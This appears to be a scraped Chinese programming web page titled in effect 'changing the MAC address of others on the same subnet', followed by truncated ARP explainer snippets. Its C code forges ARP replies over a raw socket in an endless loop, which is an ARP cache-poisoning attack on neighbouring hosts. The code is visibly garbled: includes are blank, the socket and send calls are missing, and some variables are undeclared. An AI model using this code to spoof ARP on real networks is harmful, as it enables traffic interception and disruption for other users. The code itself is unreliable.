##改變同一網段別人的mac位址
#include
#include
//socket
#include
//htons
#include
//eth_p_all
#include
//close
#include
#include
#include
//sockaddr_ll
#include
//struct ifreq
#include
//struct ether_header
#include
//struct arphdr
intmain
(int argc,
char
const
*ar**)
;unsigned
char src_mac[6]
=;unsigned
char src_ip[4]
=;unsigned
char dst_ip[4]
=;unsigned
char msg[
1500]=
"";//組mac頭
struct ether_header *eth_hd =
(struct ether_header *
)msg;
//賦值目的mac
memcpy
(eth_hd->ether_dhost,dst_mac,6)
;//源mac
//memset(eth_hd->ether_shost,0,6);
memcpy
(eth_hd->ether_shost,src_mac,6)
;//協議型別
eth_hd->ether_type =
htons
(0x0806);
//組arp頭
struct arphdr *arp_hd =
(struct arphdr *
)(msg+14)
; arp_hd->ar_hrd =
htons(1
);//硬體型別
arp_hd->ar_pro =
htons
(0x0800);
//協議型別
arp_hd->ar_hln =6;
//硬體位址長度
arp_hd->ar_pln =4;
//協議位址長度
arp_hd->ar_op =
htons(2
);//應答
memcpy
(arp_hd->__ar_sha,src_mac,6)
;//源mac
memcpy
(arp_hd->__ar_sip,src_ip,4)
;//源ip
memcpy
(arp_hd->__ar_tha,dst_mac,6)
;//目的mac
memcpy
(arp_hd->__ar_tip,dst_ip,4)
;//目的ip
int len =42;
//從原始套接字傳送資料
//獲取網路結構型別
struct ifreq ethreq;
strncpy
(ethreq.ifr_name,
"ens33"
,ifnamsiz)
;ioctl
(fd, siocgifindex,
ðreq)
;//指明出去的網路介面
struct sockaddr_ll sll;
bzero
(&sll,
sizeof
(sll));
sll.sll_ifindex = ethreq.ifr_ifindex;
while(1
)close
(fd)
;return0;
}
網路層 ARP 找Mac位址協議
arp協議 傳送乙個arp請求分組,得到目的網路對應的mac位址,再存到主機的arp快取記憶體中,以供使用。正常傳送資料的時候需要在鏈路層新增目的主機和源主機的mac位址,但是一般目的主機的mac位址不能輕易獲得,因此需要在主機的arp快取記憶體中尋找對應的mac位址,要是找不到,就立即傳送arp協...
ARP協議 位址解析協議
網路層使用的是ip位址,但實際網路的鏈路上傳送資料幀時,最終還是必須使用該網路的硬體位址。arp快取記憶體 ip位址到硬體位址的對映表 那麼一台主機 a 是如何獲知本區域網內其他主機或路由的硬體位址的?主機a廣播arp請求分組 我的ip是 硬體位址是 請告知我ip位址為 主機的硬體位址。本區域網內的...
位址解析協議 ARP
1.什麼是arp?英文原義 address resolution protocol 中文釋義 是乙個位於tcp ip協議棧中的低層協議,負責將某個ip位址解析成對應的mac位址。區域網中,網路中實際傳輸的是 幀 幀裡面是有目標主機的mac位址的。所謂 位址解析 就是主機在傳送幀前將目標ip位址轉換成...